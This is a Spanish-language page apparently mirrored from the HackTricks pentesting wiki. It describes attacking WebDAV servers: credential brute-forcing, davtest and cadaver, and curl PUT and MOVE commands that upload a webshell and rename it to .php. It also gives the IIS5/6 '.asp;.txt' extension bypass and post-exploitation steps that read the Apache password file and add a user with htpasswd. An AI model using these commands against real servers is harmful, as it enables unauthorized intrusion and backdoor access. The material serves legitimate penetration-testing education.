mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
3.8 KiB
Markdown
83 lines
3.8 KiB
Markdown
# WebDav
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Al tratar con un **servidor HTTP con WebDav** habilitado, es posible **manipular archivos** si tienes las **credenciales** adecuadas, generalmente verificadas a través de **HTTP Basic Authentication**. Obtener control sobre dicho servidor a menudo implica la **carga y ejecución de un webshell**.
|
|
|
|
El acceso al servidor WebDav generalmente requiere **credenciales válidas**, siendo [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) un método común para adquirirlas.
|
|
|
|
Para superar las restricciones en la carga de archivos, especialmente aquellas que impiden la ejecución de scripts del lado del servidor, podrías:
|
|
|
|
- **Cargar** archivos con **extensiones ejecutables** directamente si no están restringidos.
|
|
- **Renombrar** archivos no ejecutables cargados (como .txt) a una extensión ejecutable.
|
|
- **Copiar** archivos no ejecutables cargados, cambiando su extensión a una que sea ejecutable.
|
|
|
|
## DavTest
|
|
|
|
**Davtest** intenta **cargar varios archivos con diferentes extensiones** y **verificar** si la extensión es **ejecutada**:
|
|
```bash
|
|
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
|
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
|
```
|
|
.png>)
|
|
|
|
Esto no significa que **las extensiones .txt y .html se estén ejecutando**. Esto significa que puedes **acceder a estos archivos** a través de la web.
|
|
|
|
## Cadaver
|
|
|
|
Puedes usar esta herramienta para **conectarte al servidor WebDav** y realizar acciones (como **subir**, **mover** o **eliminar**) **manualmente**.
|
|
```
|
|
cadaver <IP>
|
|
```
|
|
## Solicitud PUT
|
|
```
|
|
curl -T 'shell.txt' 'http://$ip'
|
|
```
|
|
## Solicitud MOVE
|
|
```bash
|
|
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
|
```
|
|
## Vulnerabilidad de WebDav en IIS5/6
|
|
|
|
Esta vulnerabilidad es muy interesante. El **WebDav** **no permite** **subir** o **renombrar** archivos con la extensión **.asp**. Pero puedes **eludir** esto **agregando** al final del nombre **";.txt"** y el archivo será **ejecutado** como si fuera un archivo .asp (también podrías **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
|
|
|
|
Luego puedes **subir** tu shell como un archivo ".**txt"** y **copiar/moverlo a un archivo ".asp;.txt"**. Al acceder a ese archivo a través del servidor web, será **ejecutado** (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
|
|
|
|
.png>)
|
|
|
|
## Credenciales post
|
|
|
|
Si el Webdav estaba usando un servidor Apache, deberías mirar los sitios configurados en Apache. Comúnmente:\
|
|
_**/etc/apache2/sites-enabled/000-default**_
|
|
|
|
Dentro podrías encontrar algo como:
|
|
```
|
|
ServerAdmin webmaster@localhost
|
|
Alias /webdav /var/www/webdav
|
|
<Directory /var/www/webdav>
|
|
DAV On
|
|
AuthType Digest
|
|
AuthName "webdav"
|
|
AuthUserFile /etc/apache2/users.password
|
|
Require valid-user
|
|
```
|
|
Como puedes ver, hay archivos con las **credenciales** válidas para el servidor **webdav**:
|
|
```
|
|
/etc/apache2/users.password
|
|
```
|
|
Dentro de este tipo de archivos encontrarás el **nombre de usuario** y un **hash** de la contraseña. Estas son las credenciales que el servidor webdav está utilizando para autenticar a los usuarios.
|
|
|
|
Puedes intentar **crackearlas**, o **agregar más** si por alguna razón deseas **acceder** al servidor **webdav**:
|
|
```bash
|
|
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
|
```
|
|
Para verificar si las nuevas credenciales están funcionando, puedes hacer:
|
|
```bash
|
|
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|
```
|
|
## Referencias
|
|
|
|
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|